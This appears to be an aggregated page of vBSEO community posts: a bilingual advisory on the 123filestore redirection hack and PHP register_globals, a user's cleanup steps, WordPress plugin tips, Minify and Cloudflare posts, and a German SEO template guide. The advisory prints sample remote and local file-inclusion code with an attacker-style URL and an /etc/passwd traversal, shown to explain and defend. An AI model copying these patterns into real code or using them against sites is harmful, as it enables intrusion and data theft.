I'm wondering what some of the most common questions are with install a forum?

Hi!

Could someone explain if there is any benefit to having URLs ending with .html and how that can be configured in cbseo.

All I can say is "wow."

Referencia original: Introduction to Security Basics: 123filestore and url123 redirection issues, what caused it and how to prevent it. - Blogs - vBulletin SEO Forums

Redirecciones a file2store.info, url2short.info, url123.info, myfilestore.com, filestore123.info. ¿Cuáles fueron las causas del problema y cómo prevenirlo?

A lo largo de los últimos meses, hemos visto que los foros han recibido atención especial por parte de comunidades de hackers, especialmente aquellos potenciados por vBulletin.

El ataque más reciente que ha surgido entre propietarios de vBulletin se caracteriza por una redirección que ha afectado a una gran variedad de foros en un período de tiempo relativamente corto. La raíz del problema se sitúa en un escenario muy particular.

El primer punto a tratar es saber que la mayoría de proveedores de servicios de hosting trabajan con herramientas de software automatizadas, como por ejemplo Plesk, cPanel, VistaPanel, entre otras; que les ayudan a ahorrar tiempo y trabajo en implementar las tareas más simples, y dependiendo de la cantidad de usuarios que ellos manejen, esta configuración usualmente es la misma (lo cual tiene sentido). Aun así hay trabajo por hacer después de comprar servicios de hosting y habilitar un foro.

Un problema importante reside en que en muchos de los servidores que proveedores de hosting ponen en venta, incluyen una directiva de PHP llamada "register_globals" habilitada por defecto.


¿De qué se trata la directiva "register_globals"?

Esta es una característica de PHP que cuando se habilita, permite la inyección de varios tipos de variables, como por ejemplo variables de tipo REQUEST mediante formularios en HTML. Esto, aunado al hecho de que en PHP no se requiere inicialización de variables, provoca un problema: la posibilidad de escribir código con hoyos de seguridad.

Habiendo dicho esto, todas aquellas variables que pasan por métodos GET o POST se encuentran disponibles como variables globales en el script que se esté programando (mediante cualquier archivo PHP). Debido a que el acceder a variables que no han sido declaradas no es un error propio de PHP (más bien una advertencia), hacerlo puede conllevar a situaciones de alto riesgo.

Estos son algunos ejemplos en los cuales, por tener register_globals habilitado, tu día puede verse arruinado:

Ataques de Inclusión Remota de Archivos (RFI - por sus siglas en inglés):

PHP Code:

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

En el ejemplo anterior, se toma un archivo desde un sitio web remoto y lo inserta (por así decirlo) en tu sitio web y lo ejecuta. Tan solo imagina un usuario con malas intenciones que tenga en mano un archivo PHP que pueda eliminar todos los archivos en tu sitio web. Eso es algo que se puede realizar con este tipo de ataques :)

Ataques de Inclusión de Archivos Locales (LFI - por sus siglas en inglés):

PHP Code:

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Este es otro tipo de ataque similar al anterior, pero en este caso hace uso de un archivo almacenado localmente en tu servidor, algunas veces para obtener la contraseña de algún directorio protegido, o para cambiarla y así obtener acceso. Esto, como es de esperar, puede conducir a calamidades.

El exploit empleado en el problema de la redirección toma ventaja cuando la directiva "register_globals" está habilitada en el servidor infectado, y a su vez manipula varios archivos. En algunos casos, ataca a foros vBulletin + vBSEO, en otros a foros vBulletin + plugins de terceros (ten en cuenta que el problema no es exclusivo de instancias donde se ejecuta vBulletin + vBSEO).

Una vez que se ha dado la inyección, los scripts modificados provocaron una redirección que tomaba el tráfico proveniente de motores de búsqueda y lo dirigía a los sitios web mencionados con anterioridad. Reiteramos que este ataque no estaba orientado hacia un sitio web en particular (digamos, un sitio web donde vBulletin + vBSEO residen), sino más bien a la comunidad de foros de vBulletin en general.

Es importante mencionar que la directiva register_globals fue declarada como OBSOLETA con la liberación de PHP 5.3.0, y ha sido REMOVIDA en PHP 5.4.0.


¿Qué acciones podemos tomar para protegernos en caso de que ejecutemos versiones anteriores de PHP en servidores donde esta directiva permanece habilitada?

En primer instancia, debes consultar la información de PHP para verificar si esta directiva está habilitada. Puedes hacerlo a través del panel de administración de vBulletin, dirigiéndote a: Mantenimiento - Ver información de PHP. Una vez que estés allí, verás una página que despliega la información contenida en el archivo de configuración de PHP de tu servidor (php.ini), busca register_globals y asegúrate de que esté deshabilitada en ambas columnas (debe indicar "Off"). Si está habilitada ("On"), debes contactar a tus proveedores de hosting y solicitarles que la desactiven.

"register_globals" es una función obsoleta, y supone un alto riesgo de seguridad en cualquier servidor donde se ejecuten scripts de terceros. En definitiva, esta es una funcionalidad que todos los administradores de foros vBulletin deben considerar deshabilitar, además de cumplir con las prácticas de seguridad básicas, entre las cuales se incluye el mantener el foro actualizado. En cuanto una nueva versión (o boletín de seguridad) es liberada, debes actualizar de inmediato.

Como siempre, si experimentas (o si tus usuarios experimentan) alguna situación inusual, indaga, y por favor siéntete libre de formular cualquier pregunta a través de los foros de vBSEO, o formula directamente un ticket bajo la categoría "Security-related Issues". Recuerda que si puedes detectar una infección a tiempo, puedes ahorrarte mucho tiempo y esfuerzos en deshacerte de la infección.

Over the last few months forums have been getting a lot of attention from the hacker community, especially vBulletin based forums.

The lastest attack surfacing in the vBulletin arena is a redirection issue that affected a number of forums in a short timeframe. The root of this problem lays in a very particular scenario.

First and foremost, the majority of the hosting companies work with automated software tools, like cPanel, Plesk, VistaPanel, etc., that save them a lot of time and effort for the small tasks, and depending of the average user, the setup is usually the same, which makes sense, but there's still work to do after getting your site up and running.

A key problem is that many hosts have their automated tools set the register_globals PHP feature to *enabled* by default.

So what is register_globals?

It's a PHP feature that when enabled, will inject your scripts with all sorts of variables, like request variables from HTML forms. This, coupled with the fact that PHP doesn't require variable initialization, creates a problem: writing insecure code is that much easier.

That said, all variables passed through GET or POST are available as global variables in your script (*any* PHP file). Since accessing undeclared variables is not an error in PHP (it's a warning), it can lead to very nasty situations.

Here are some situations where having register_globals enabled could ruin your day:

With the Remote File Inclusion (RFI) attack:

PHP Code:

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Which will take a file from a remote website and insert it (as a way to say) into your website and execute it. Just imagine a malicious user with a PHP file that can delete all of your website files! Well, that's possible with these kind of attacks.

Local File Inclusion (LFI):

PHP Code:

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

This is another kind of attack, similar to the previous one, but in this case it uses a local file on the server, sometimes to copy the password of a protected area folder, or changing it to a own new password to gain access. This (of course) could lead to a myriad of issues.

The exploit employed in the 123filestore attack took advantage of the register_globals feature set to “enabled” on the infected host, and manipulated various script files, in some cases vBulletin + vBSEO, in other cases vBulletin + other third party scripts (note that the attack was not exclusive to vB + vBSEO sites).

Once injected, the modified scripts took users coming from search engines and redirected them to the 23filestore site, in some cases all the traffic was redirected. Again, this attack was not aimed at a particular site (with say, a combination of scripts such as vB+vBSEO), but directed at vB powered forums in general.

It's worth to mention that the register_globals feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

So what can we do to protect ourselves if running under older versions of PHP (PHP <5.3) within webhosts that have this feature enabled?

First, review your phpinfo() to check if it's enabled, you can do that via the vBulletin Admin Panel by going to: AdminCP > Maintenance > View PHP Info. Once there you'll see the page for the current php.ini, search for register_globals and confirm that is turned off in both columns. If it’s *enabled*, you should contact your host requesting to have the feature disabled for your account.

Register_globals is deprecated, and poses a high security risk in any server running third-party, visible source code scripts that may be available for hackers to review on the undergrounds. It’s definitely a feature forum admins should consider disabling, apart from complying with the standard security best practices, which include keeping the forum up to date, as soon as a new version (or patch) is released, you shall update it immediately.

As always, if you (or your users) experience anything unusual in your forums, double-check it, and please feel free to ask questions here at the vBSEO forums, or via the new Security support category via our support ticket system. Remember, if you can detect an infection on-time, you can save yourself a lot of time and effort.

Lost 70% traffic from google and caught that it is happening due malitious redirects to filestore . info

How about a concise thread with all the fixings? I realize it is not vbseo's fault, but since it directly effects vbseo, and all the vbseo customers could potentially have this problem, having a concise thread would be nice.

Anyhow... Here's what I've gathered as I am also having this issue.

THE BUG...

The fact that people can upload custom avatars, custom signature pics, or custom images into the signature line. What is happening is that a PHP file, disguised as a .gif is uploaded and then run remotely. It throws base64 code into vbseo which forces a javascript redirect and cookie. The cookie means the redirect only happens once, but it is annoying, and is a drop in traffic. On a side note, more malicious code COULD be uploaded.

WHAT YOU MIGHT READ...

Many of the yahoos here want you to chmod 755 any writable directory. But what they fail to realize is that your signaturepics and customavatars directory must be 777 for people to upload. I read that far too often in that other thread.

WHAT YOU MUST DO...


STEP 1:

Is add an .htaccess file to every writable directory that someone can upload photos into.

Code:

RedirectMatch 404 .*php\.

The other code for .htaccess I've read is this one

Code:

<Files ~ "\.(php\d*|cgi|pl|phtml)$">
order allow,deny
deny from all
</Files>

Not sure which one is more correct at this point, but both should work. Most folks have been going with the second one.

Thankfully .htaccess has a recursive effect, so if you put it in the offending directories, that should solve the issue.

The directories you need to add this file to is:
customavatars
signaturepics
customprofilepics
attachments

STEP 2:

Reupload the crawlability_vbseo.xml file as a product. This will clear out the cache and fix your site immediately... As long as nothing else has been compromised.


Step 3:

I would say disallow uploads to your server. At least break it up. Have a different usergroup for premium members, or however you break it out on your site, and allow them to upload files. But keep the uploads only to them, not to the new folks and spammers.
If you're allowing uploads to the new members, you're keeping yourself open to this type of attack.

Step 4:

Remove any evil .gif files off your server

To do this, ssh to your server and run this command:

Code:

find /home/main -regex '.*\.gif$' -exec grep php {} \;

Change the /home/main to fit your main root directory. Delete the matches in those upload directories!! I usually check them first, but remove them.

Step 5:

Lastly, if you have been hacked, change your passwords. Just in case.


......................

So that's what I've gathered in a nutshell. Hopefully that will help someone out instead of just being pointed to a ton of threads, with half of them having misinformation.

Now I do understand that a lot of bloggers may disagree with the plugins that I will be mentioning and some will just agree that these are needed. It has been said a million times online that to many plugins can slow down your blog's page speed or just slow it down in general no matter where you are navigating to. This snake will not lie and yes I have a lot of plugins installed but not as much as I did in the past. As WordPress keeps upgrading and adding new features I'm actually finding it possible to remove a plugin or two. Also my Studio Press theme has some built-in SEO features and more to come in there next update in a week or two.

Come to think of it, some WordPress Theme designers do build in certain features into their themes and makes it possible to drop a plugin or two. I would suggest you take a look at the Studio Press Genesis framework if you are shopping around for a new WordPress theme.

I'm no WordPress Expert and never claimed to be one but here are my tips for people who are looking to start a self hosted WordPress blog.

1. Hosting - Try to pick a web host that specializes in WordPress hosting when looking for a shared hosting account. Search Google for reviews on the web host. Pick the wrong one and that can have an effect on page speed.

2. Cloudflare - Besides installing this plugin, you have to also join their official website which is free and add your domain in there. Check out the features CloudFlare gives you: http://www.cloudflare.com/overview

3. Bullet Proof Security - My trusted Plugin to help make sure all the loose ends are Secured to help prevent a hacker. Of course very hard passwords is always a plus but won't stop a hacker. This plugin will help secure your blog along with using Cloudflare that was mentioned above.

4. CAPTCHA Plugin - I use this plugin because it stops the spammers that are using software to mass register on blogs to post spun/spammy articles. Trust me, you'll love this plugin if you got a ton of bot's registering on your blog.

5. SiteMap Generator - Once you set this up and verify your google, bing, yahoo accounts..etc you really don't have to ever change a setting on this. Read the instructions if you install this in which you really should.

6. Yoast SEO Plugin – I’ve installed this plugin a few days ago and removed the All In One SEO plugin and love the options that Yoast provides. You don’t need the sitemap generator I linked you to in tip number 5 since it’s built into this SEO plugin. That’s one less plugin to install now and YOAST SEO plugin has a built-in “breadcrumbs” feature that you’ll like.

7. G.A.S.P - If you keep the default comment system on your blog like I have, this plugin will add a check box under the comment box for the humans to check on if they wish to comment. The people using automated software to post blog comments won't see this and therefore have a hard time posting a spammy blog comment on your blog. Saves you a little time in removing the spam blog comment's. I have my blog comments set to moderate on almost everything.

8. Sexy Bookmarks - Very good social tool to allow visitors to submit your content to the social world..

9. Jet Pack By WordPress.com - To many features to mention in this blog post. The stat tracker option is my favorite. I track what blog posts or pages get the most hits then build more backlinks for those keywords to get the blog post or page indexed better. (seo tip right there folks)

10. A good caching plugin to use is the W3 Total Cache one but I don't have it installed because my web host has it installed on their server. Visit the Web Hosting link I gave earlier in this blog post to see the web host that I use in which is for WordPress blogs only.

11. Fast Secure Contact Form - Click on my Contact tab in the menu bar to see this plugin in action. (Edit, since blog post is on VBSEO you can't see it in action) I hardly ever get spam email using this form. Then again, I know a few people may actually spam me now since I mentioned this. lol

12. SEO Slug - This plugin removes common words like 'a', 'the', 'in' from post slugs to improve SEO. (Referring to blog URL once a post is published.) FYI, look at this blog post title and then look at the URL. The URL more SEO friendly in the search engines eyes.

13. Search the WordPress Plugins database. I have more plugins that I'm using but I think the ones that I have mentioned should be installed right away after you install your WordPress blog.

Like mentioned earlier, you may agree or disagree with the plugins that I suggested for you to use for a new installation but don't go overboard and install 30 plugins. Only install a plugin if it's going to be used every single day. It could slow down your blog or even worse some plugins may not work with each other and give you some errors when doing normal task's on the blog.

One last thing to mention... Experiment on your blog. I do this all the time and this is how I learn new things in the Blogging world. Sometimes reading blog posts like this, you may only get confused because other people suggest different plugins to use. Go with the gut feeling and take a chance. I know what works for my blog and therefore is the reason why I have a lot of plugins.

To Your Success

I am having a similar issue. My Vbulletin will not even load now. I went as far as completely deleting the .htaccess file, reloading it from my server two weeks before (when I was working fine), and I still only get a white screen.

Help!

DNN is glad to be on the vBSEO community team and is looking forward to networking and building quality relationships with all. I'm here to "be of service" to others, and also be a helping hand too, if I can =)

You wrote great content. You're getting noticed in the search engines. But, your site still isn't quite 'there' yet. Getting the last bit out of your site to push it over the edge is always the hardest part. It's a bit like dieting. Losing the first few pounds (or kilos for you metric folks :D) is easy. It's the next 5 that are hard, and the next 10 that are impossible.

vBSEO offers a ton of options to enhance your vB forum's SEO well beyond the core product. With the 3.6 series offering CDN integration, there's really only one more step to conquer on which vB forums fail miserably: javascript. Mounds and mounds of javascript.

One of my actual live forums' forumhome page. And this is AFTER this optimization was performed on it.


Javascript is the worst element in the page load waterfall. It loads one item at a time as it finds it in source, and then the browser 'compiles' it before moving on to the next line of html source. (I use the term compiles very loosely, but it's the basic concept at hand.) This delay can cause your pages to take a lot of time to load.

There are new methods popping up every day to load javascript asynchronously to aid in the page load. Unfortunately, this isn't always possible, as the js needs to be available to render the page.
It's fine to call Analytics or another tracker this way as it doesn't form the page. But, you can't put off loading your menu and everything else, as the footer template calls

Code:

vBulletin_init();

and that function needs to be ready to go or bad things will happen. There is a nice and fairly easy method available to put your javascript both on a diet, and make it fit into smaller pants all at the same time.


Enter: MINIFY
Minify is an awesome free library available at Google Code. In a nutshell, it offers us two main things.

1. groups multiple files into a single call (saves DNS look ups, cookie attachments)
2. minifies said content (saves file size)

I set it up on my forum and saw incredible gains.

The following tests were done via WebPagetest. It is a great tool that everyone should familiarize themselves with. The site is funded by Google, in case you were wondering. :happy: A good score here will almost guarantee better SERP results.

With the exception that I still run Apache, my server is highly optimized. I've spent many hours setting up gzip, cachers, and all the normal high performance goodies. I also spent a lot of time optimizing images, setting up my CDN, and other vB-centric enhancements. But, I kept failing on the 'Combine' grade point with no real solution available.




After I installed Minify and got my forum to work with it, I was shocked by the results. The load time dropped by nearly 1.25 seconds and the biggest point in my opinion is the start render stat. From 1.7 to .9. That's basically TWICE as fast.



I only got a 92, I know. But every remaining error is beyond my control. Most of them are from Adsense, Analytics, and items that SHOULDN'T be cached, but the script can't determine that on it's own.

So, I am going to put it out there and say that a vB forum running an adserver (openX in my case), Analytics, and Adsense (not in openX), a 92 is about as good as you are going to do in this test. There may be a 93 or 94 in it, but it is unlikely to ever happen.

The Long Way 'Round
To get here required a bit of a manual effort on my part. I probably could have coded a product to do most of this, and I may in the future, but for now, it is all pure template edits.

I'm not going to make this into a how-to for several reasons. Sorry if I got your hopes up. I performed this on vB3.8.1 and vB 3.8.5, both of which had many different scripts. The original plan to port/copy over what I did on 3.8.1 took me off guard and I basically had to start over. Who knows what happened in between. And now with 12 different versions of vB4 available, I'm sure a similar situation will exist. As this can have a drastic effect on your site to the point where either nothing loads or no one can post, I felt it best not to even begin to go down that road at this time. Plus, I haven't perfected it yet myself. There's actually a ton more things I plan to set up to run through the Minify engine including CSS. While I did port the CSS into it, I basically forced my self into being done editing my style, ever again. Well, not that strict, but I will need to re-hard code what I did all over again (as saving the css writes a new file name).

The point of this blog post was to point out that there is a tool available to get that last grade point up and increase your page load times dramatically.

In the future, I may be offering an integration product or service. But for now, this is where it ends. The tool is out there for you to use and play with and my results are proof positive that it does work. No, I won't give you the URL. If you know it, please don't post it. :tape: My side adventures are my personal projects and I like to keep my professional life away from the personal life.

I will be happy to entertain a discussion about the topic, but please do not expect code from me at this time.

This article is original and dedicated to vbseo community. It can help to better any forum users (even big board admins) to be faster and more secure at zero cost!

I generally like to test and use new things. While i was curiously looking for development for my vbseo forum. I noticed this bright new ideas website.

The main threads of internet are "automated bots for commercial purposes" like spam bots, email spidering bots and some bad intentioned bots like shells and shell bots that continously look for potentional holes in the server systems. This is not personal problem but a global problem growing each days. Every server system actually attacked silently by bad intentioned sources. I was hopeless to imagine a real solution for it. It was huge and email spam looks never ending.

Cloudflare can really change things. I start seeing it very clearly these days. After 2 months experience with it. I definately recommend it to everyone.

How it protects? As a user we simply change our dnses to Cloudflare ones. The global CDN servers and traffic controlled by Cloudflare will handle the rest. The visitor comes to yoursite com now counted by Cloudflare own security system and all behaviour you do on this enviroment is tracked. For example you comment one cloudflare user and then another one and you commendted 1000s other place. Cloudflare security system notice this and the next time the commenter reaching any site under cloudflare system blocked. It's same for email spider bots. When you move your site to cloudflare it's system reads all emails on your website and make them unreadable for bots.

By using same logic they blocks DDOs botnets, xss attackers, sql injectioners etc. The solution is very simple and efficient and i believe it can help a spam free enviroment.

The other advantage of it when you stay away bad traffic from your forum or site you get less resources used and become more faster.

Cloudflare can also cache your js, css files and serve documents over 5 distirubuted datacenters right now. It helps to fasten your site opening speed at another level.

You can get more data at www.cloudflare.com official site. All you need to be member and add sites. It's easy and free.

Das "Relevante Ersetzungen" System von vBSEO ist ein guter Schritt zu einem besseren suchmaschinenoptimiertem Forum. Dennoch gibt es oftmals Probleme, das Prinzip davon zu verstehen. Ich werde hier in der folgenden Beitrag etwas zu diesem System erklären und darlegen, wie man es erfolgreich anwendet.


## Häufig gestellte Fragen - FAQ ##

Was bewirken "Relevante Ersetzungen"?
Wie der Name es schon erahnen lässt, werden damit Inhalte auf deinen Foren-Seiten ersetzt bzw. angepasst.

Wo und warum werden sie verwendet?
Am meisten werden die Ersetzungen dafür verwendet, um auf einer Foren-Seite (FORUMDISPLAY) oder auf einer Themen-Seite (SHOWTHREAD) einen Titel mit - für die Suchmaschinen relevanten Inhalt - einzufügen.

Wie funktioniert das?
vBSEO nutzt dafür eine Erfindung, die es bereits gibt: h1 und h2 HTML-Tags. Die sind für die Suchmaschinen besonders wichtig, da sie diesen die Information "Achtung, wichtiger Inhalt" übermitteln. Und deswegen möchten wir auch auf der Seite den wichtigsten (relevantesten) Inhalt mit h1 und h2-Tags versehen.


## Anwendungsanleitung - vBulletin 4 ##

vBSEO 3.5.2 (und höher) - Automatisches Ersetzen

Sollten Sie vBSEO 3.5.2 einsetzen, haben Sie hier seit neuestem die Möglichkeit, sich die relevanten Ersetzungen automatisch im Seitentitel Bereich einblenden zu lassen.

Dafür konfiguriert man erst einmal das, was soweit nötig ist.
Die Informationen hierzu findet man hierunter dem Punkt "Die Einstellungen der Relevanten Ersetungen - vBulletin 4".

Danach aktiviert man den Haken bei dem Satz "Insert this Relevant Replacement in "Page title" section on forum and thread pages (vB4.x+ only)". Beachten Sie bitte, dass diese Phrase in einer späteren Version sehr wahrscheinlich übersetzt sein wird. Davon sollten Sie sich dann nicht verwirren lassen.

Auch zu beachten ist, dass mit vBSEO 3.5.2 nach diesem Schritt der Facebook Button verschwindet. Sollte man eine höhere Version einsetzen oder keine "Facebook Like" Buttons im Einsatz haben, kann man den nachfolgenden Link ignorieren:

Facebook-Like Button Fix

vBSEO 3.3.x (und höher) - Manuelles Ersetzen

Sollten Sie eine ältere Version als vBSEO 3.5.2 einsetzen oder möchten die Ersetzung wo anders platzieren, muss man das manuell per Template-Änderungen machen.

Dafür konfiguriert man erst einmal das, was soweit nötig ist.
Die Informationen hierzu findet man hier unter dem Punkt "Die Einstellungen der Relevanten Ersetungen - vBulletin 4".

Danach muss man an der gewünschten Stelle im Template FORUMDISPLAY bzw. SHOWTHREAD diesen Tag an der gewünschten Stelle einfügen:

Code:

<!--VBSEO_RR_1-->

Beispiel:
Standardmäßig (ähnlich wie hier bei vBSEO) ist diese Änderung:
Template: FORUMDISPLAY
Suche nach:

HTML Code:

<div id="pagetitle" class="pagetitle">
    <h1>{vb:rawphrase forum}: <span class="forumtitle">{vb:raw foruminfo.title}</span></h1>
    <vb:if condition="$foruminfo['description']"><p class="description">{vb:raw foruminfo.description}</p></vb:if>
</div>

Ersetzen Sie dies durch:

HTML Code:

<div id="pagetitle" class="pagetitle">
    <!--VBSEO_RR_1-->
</div>

Template: SHOWTHREAD
Suche nach:

HTML Code:

<div id="pagetitle" class="pagetitle">
    <h1>
        {vb:rawphrase thread}: <span class="threadtitle"><a href="{vb:raw thread_url}" title="{vb:rawphrase reload_this_page}">{vb:raw threadinfo.title}</a></span>
        <vb:if condition="$show['fb_likebutton']">
            {vb:raw fblikebutton}
        </vb:if>
    </h1>
</div>

Ersetzen Sie dies durch:

HTML Code:

<div id="pagetitle" class="pagetitle">
        <!--VBSEO_RR_1-->
        <vb:if condition="$show['fb_likebutton']">
            {vb:raw fblikebutton}
        </vb:if>
</div>

## Die Einstellungen der Relevanten Ersetungen - vBulletin 4 ##

Uns interessieren erst einmal im vBSEO CP unter "Relevante Ersetzungen" die folgenden Input-Felder



Was man dort einträgt, ist letztendlich Geschmackssache.

Ich habe hier einmal zwei Beispieltexte:
Forumdisplay:

Code:

<h1>[forum_title]</h1><h2><p id="relevant_replacement">Dies ist eine umfangreiche Auflistung von Diskussionen im <b>[forum_title]</b> Forum von [bb_title].</p></h2>

Showthread:

Code:

<h1>[thread_title]</h1><h2><p id="relevant_replacement">Das ist eine Diskussion über <em>[thread_title]</em> im <b>[forum_title]</b> Forum; [first_post_20_words]...</p></h2>

Die Texte kann man natürlich beliebig anpassen.

Sie können zudem noch folgende Variablen benutzen, um Ihre Phrasen anzupassen:

[bb_title] - Dein Haupt-Forentitel
[default_keywords] - Deine Keywords, die du im vBulletin AdminCP definiert hast

[forum_title] - Der momentane Forentitel
[forum_description] - Die momentane Forumbeschreibung

[parent_forum_title] - Der "Elternforen"- Titel
[parent_forum_description] - Die "Elternforen"-Beschreibung

[thread_title] - Der momentane Thementitel (NUR auf Showthread Seiten nutzen)
[first_post_X_words] - Die ersten X Wörter, welche auf der ersten Seite des Themas stehen (NUR auf Showthread Seiten nutzen)

[thread_page] - Die Seitenzahl des Themas
